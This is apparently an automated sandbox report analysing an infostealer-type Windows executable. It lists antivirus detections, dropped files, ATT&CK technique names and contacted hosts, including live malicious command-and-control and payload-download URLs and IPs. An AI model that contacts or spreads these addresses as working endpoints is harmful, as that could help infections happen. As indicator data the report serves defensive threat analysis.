Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	361 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	112 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	26%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious
pancakedipyps.click	104.21.23.76	true	true
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
lossekniyyt.click	172.67.131.246	true	true
grannyejh.lat	172.67.179.109	true	true
www.google.com	142.250.181.132	true	false
home.twentytk20pn.top	185.185.71.170	true	true
twentytk20pn.top	185.185.71.170	true	true
httpbin.org	98.85.100.80	true	false
youtube.com	142.250.181.110	true	false
sweepyribs.lat	unknown	unknown	true
detectportal.firefox.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=GUE5t8uMtFJcYASq1734538118	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
http://twentytk20pn.top/v1/upload.php	true
grannyejh.lat	true
https://lossekniyyt.click/api	true
https://httpbin.org/ip	false
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false

URLs from Memory and Binaries

Name	Source	Malicious
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://anglebug.com/4633	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7382	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000024.00000002.3041968406.0000024168686000.00000004.00000800.00020000.00000000.sdmp	false
http://specs.openid.net/auth/2.0$dnoa.request_nonce	c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	false
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/6929	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	false
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206ProgramFiles	7847e34378.exe, 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp	false
https://anglebug.com/7246	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7369	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7489	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpRx	7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	false
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/161903006	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	false
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://anglebug.com/4722	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000025.00000003.2975132263.00004214001E0000.00000004.00000800.00020000.00000000.sdmp	false
http://specs.openid.net/extensions/oauth/1.0	c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 00000024.00000002.3041968406.0000024168612000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://html4/loose.dtd	1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://grannyejh.lat/apinte	3275f9fb1e.exe, 00000010.00000003.3054159265.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3052750220.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3050694019.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exevE	3275f9fb1e.exe, 00000010.00000003.3293769711.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3502	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3623	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3625	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpb	7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3624	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	false
http://anglebug.com/3862	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4836	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpm	7847e34378.exe, 0000000B.00000002.3272425703.00000000014F9000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	false
https://monitor.firefox.com/about	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://grannyejh.lat/apit	3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001222000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com	firefox.exe, 0000001B.00000003.3022130799.000001CEBD5F7000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	3275f9fb1e.exe, 00000010.00000003.3003134987.0000000005D78000.00000004.00000800.00020000.00000000.sdmp	false
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3970	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	false
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000025.00000003.2947847814.0000752800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000025.00000003.2948913200.000075280039C000.00000004.00000800.00020000.00000000.sdmp	false
http://namespace.google.com/openid/xmlns	c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000003.2887291666.000001CEB2F1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2887625945.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885027582.000001CEB2F33000.00000004.00000800.00020000.00000000.sdmp	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://anglebug.com/5901	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/1	3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp	false
http://anglebug.com/3965	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7161	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://anglebug.com/7162	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	false
https://grannyejh.lat/api$	3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001215000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://anglebug.com/5906	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/2517	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/4937	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://issuetracker.google.com/166809097	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/api1	3275f9fb1e.exe, 0000000A.00000003.2701984604.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	false
https://lens.google.com/v3/upload	chrome.exe, 00000025.00000003.2956833853.00007528006E4000.00000004.00000800.00020000.00000000.sdmp	false
http://anglebug.com/3832	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://lossekniyyt.click:443/api	c7af53ccad.exe, 00000007.00000002.2790107590.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3020548077.000001CEBD536000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/apiA	3275f9fb1e.exe, 0000000A.00000003.2701984604.000000000109A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.000000000109A000.00000004.00000020.00020000.00000000.sdmp	false
https://grannyejh.lat/apisx	3275f9fb1e.exe, 00000010.00000003.3079770226.00000000014ED000.00000004.00000020.00020000.00000000.sdmp	false
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.	c7af53ccad.exe, 00000006.00000002.2387410500.0000000002B63000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2387410500.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001B.00000003.3026277382.000001CEBD528000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false
http://anglebug.com/6651	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	false
https://anglebug.com/4830	chrome.exe, 00000025.00000003.2984559062.00004214003B4000.00000004.00000800.00020000.00000000.sdmp	false
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	true
172.67.131.246	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
142.250.181.110	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
185.185.71.170	home.twentytk20pn.top	Russian Federation	35278	SPRINTHOSTRU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577704
Start date and time:	2024-12-18 17:06:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@100/20@53/15
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.164.84, 172.217.17.46, 172.217.17.67, 4.175.87.197, 13.107.246.63, 23.218.208.109, 20.190.147.0, 20.42.73.29, 20.189.173.9, 52.168.117.173
Excluded domains from analysis (whitelisted): example.org, www.reddit.com, slscr.update.microsoft.com, spocs.getpocket.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, aus5.mozilla.org, contile.services.mozilla.com, prod.content-signature-chains.prod.webservices.mozgcp.net, content-signature-2.cdn.mozilla.net, support.mozilla.org, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, redirector.gvt1.com, ipv4only.arpa, login.live.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, prod.ads.prod.webservices.mozgcp.net, www.youtube.com, www.gstatic.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, www.facebook.com, twitter.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.googl
Execution Graph export aborted for target 3275f9fb1e.exe, PID 8164 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
